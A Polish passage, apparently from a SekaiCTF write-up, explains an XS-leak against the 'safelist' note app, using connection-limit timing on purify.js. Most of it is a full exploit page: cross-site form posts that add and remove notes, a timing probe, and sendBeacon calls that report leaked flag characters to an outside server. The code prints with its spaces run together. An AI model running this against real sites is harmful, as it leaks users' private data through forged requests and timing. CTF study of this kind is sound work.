Atakujący wstrzyknie notatkę z jak największą liczbą <img tagów ładujących/js/purify.js (więcej niż 6, aby zablokować źródło).
Następnie atakujący usunienotatkę z indeksem 1.
Następnie atakujący [sprawi, że bot uzyska dostęp do strony z pozostałą notatką] i wyśle żądanie do victim.com/js/purify.js, które zmierzy.
Jeśli czas jest większy, wstrzyknięcie miało miejsce w pozostałej notatce, jeśli czas jest mniejszy, flaga była tam.
Szczerze mówiąc, czytając skrypt, brakowało mi części, w której atakujący sprawia, że bot ładuje stronę, aby wywołać tagi img, nie widzę nic takiego w kodzie.
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>